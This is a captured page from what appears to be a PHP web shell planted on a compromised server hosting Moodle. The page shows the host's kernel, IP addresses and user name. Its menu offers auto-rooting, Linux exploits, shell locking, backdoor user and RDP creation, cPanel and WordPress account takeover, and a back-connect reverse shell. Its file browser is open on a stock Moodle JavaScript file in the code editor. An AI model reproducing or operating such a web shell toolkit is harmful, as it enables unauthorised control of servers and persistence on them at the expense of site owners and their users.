Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.178.65
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
quiz /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
add_question_modal_launcher.js
2.94
KB
-rw-r--r--
add_random_form.js
7.51
KB
-rw-r--r--
add_random_question.js
2.02
KB
-rw-r--r--
modal_add_random_question.js
10.09
KB
-rw-r--r--
modal_quiz_question_bank.js
10.59
KB
-rw-r--r--
preflightcheck.js
4.12
KB
-rw-r--r--
quizquestionbank.js
1.46
KB
-rw-r--r--
random_question_form_preview.j...
8.78
KB
-rw-r--r--
repaginate.js
1.52
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : random_question_form_preview.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * JavaScript for the random_question_form_preview of the * add_random_form class. * * @module mod_quiz/random_question_form_preview * @copyright 2018 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define( [ 'jquery', 'core/ajax', 'core/str', 'core/notification', 'core/templates', 'core/paged_content_factory' ], function( $, Ajax, Str, Notification, Templates, PagedContentFactory ) { var ITEMS_PER_PAGE = 5; var TEMPLATE_NAME = 'mod_quiz/random_question_form_preview_question_list'; var SELECTORS = { LOADING_ICON_CONTAINER: '[data-region="overlay-icon-container"]', QUESTION_COUNT_CONTAINER: '[data-region="question-count-container"]', QUESTION_LIST_CONTAINER: '[data-region="question-list-container"]' }; /** * Show the loading spinner over the preview section. * * @param {jquery} root The root element. */ var showLoadingIcon = function(root) { root.find(SELECTORS.LOADING_ICON_CONTAINER).removeClass('hidden'); }; /** * Hide the loading spinner. * * @param {jquery} root The root element. */ var hideLoadingIcon = function(root) { root.find(SELECTORS.LOADING_ICON_CONTAINER).addClass('hidden'); }; /** * Render the section of text to show the question count. * * @param {jquery} root The root element. * @param {int} questionCount The number of questions. */ var renderQuestionCount = function(root, questionCount) { Str.get_string('questionsmatchingfilter', 'mod_quiz', questionCount) .then(function(string) { root.find(SELECTORS.QUESTION_COUNT_CONTAINER).html(string); return; }) .fail(Notification.exception); }; /** * Send a request to the server for more questions. * * @param {int} categoryId A question category id. * @param {bool} includeSubcategories If the results should include subcategory questions * @param {int[]} tagIds The list of tag ids that each question must have. * @param {int} contextId The context where the questions will be added. * @param {int} limit How many questions to retrieve. * @param {int} offset How many questions to skip from the start of the result set. * @return {promise} Resolved when the preview section has rendered. */ var requestQuestions = function( categoryId, includeSubcategories, tagIds, contextId, limit, offset ) { var request = { methodname: 'core_question_get_random_question_summaries', args: { categoryid: categoryId, includesubcategories: includeSubcategories, tagids: tagIds, contextid: contextId, limit: limit, offset: offset } }; return Ajax.call([request])[0]; }; /** * Build a paged content widget for questions with the given criteria. The * criteria is used to fetch more questions from the server as the user * requests new pages. * * @param {int} categoryId A question category id. * @param {bool} includeSubcategories If the results should include subcategory questions * @param {int[]} tagIds The list of tag ids that each question must have. * @param {int} contextId The context where the questions will be added. * @param {int} totalQuestionCount How many questions match the criteria above. * @param {object[]} firstPageQuestions List of questions for the first page. * @return {promise} A promise resolved with the HTML and JS for the paged content. */ var renderQuestionsAsPagedContent = function( categoryId, includeSubcategories, tagIds, contextId, totalQuestionCount, firstPageQuestions ) { // Provide a callback, renderQuestionsPages, // to control how the questions on each page are rendered. return PagedContentFactory.createFromAjax( totalQuestionCount, ITEMS_PER_PAGE, // Callback function to render the requested pages. function(pagesData) { return pagesData.map(function(pageData) { var limit = pageData.limit; var offset = pageData.offset; if (offset == 0) { // The first page is being requested and we've already got // that data so we can just render it immediately. return Templates.render(TEMPLATE_NAME, {questions: firstPageQuestions}); } else { // Otherwise we need to ask the server for the data. return requestQuestions( categoryId, includeSubcategories, tagIds, contextId, limit, offset ) .then(function(response) { var questions = response.questions; return Templates.render(TEMPLATE_NAME, {questions: questions}); }) .fail(Notification.exception); } }); } ); }; /** * Re-render the preview section based on the provided filter criteria. * * @param {jquery} root The root element. * @param {int} categoryId A question category id. * @param {bool} includeSubcategories If the results should include subcategory questions * @param {int[]} tagIds The list of tag ids that each question must have. * @param {int} contextId The context where the questions will be added. * @return {promise} Resolved when the preview section has rendered. */ var reload = function(root, categoryId, includeSubcategories, tagIds, contextId) { // Show the loading spinner to tell the user that something is happening. showLoadingIcon(root); // Load the first set of questions. return requestQuestions(categoryId, includeSubcategories, tagIds, contextId, ITEMS_PER_PAGE, 0) .then(function(response) { var totalCount = response.totalcount; // Show the help message for the user to indicate how many questions // match their filter criteria. renderQuestionCount(root, totalCount); return response; }) .then(function(response) { var totalQuestionCount = response.totalcount; var questions = response.questions; if (questions.length) { // We received some questions so render them as paged content // with a paging bar. return renderQuestionsAsPagedContent( categoryId, includeSubcategories, tagIds, contextId, totalQuestionCount, questions ); } else { // If we didn't receive any questions then we can return empty // HTML and JS to clear the preview section. return $.Deferred().resolve('', ''); } }) .then(function(html, js) { // Show the user the question set. var container = root.find(SELECTORS.QUESTION_LIST_CONTAINER); Templates.replaceNodeContents(container, html, js); return; }) .always(function() { hideLoadingIcon(root); }) .fail(Notification.exception); }; return { reload: reload, showLoadingIcon: showLoadingIcon, hideLoadingIcon: hideLoadingIcon }; });
Close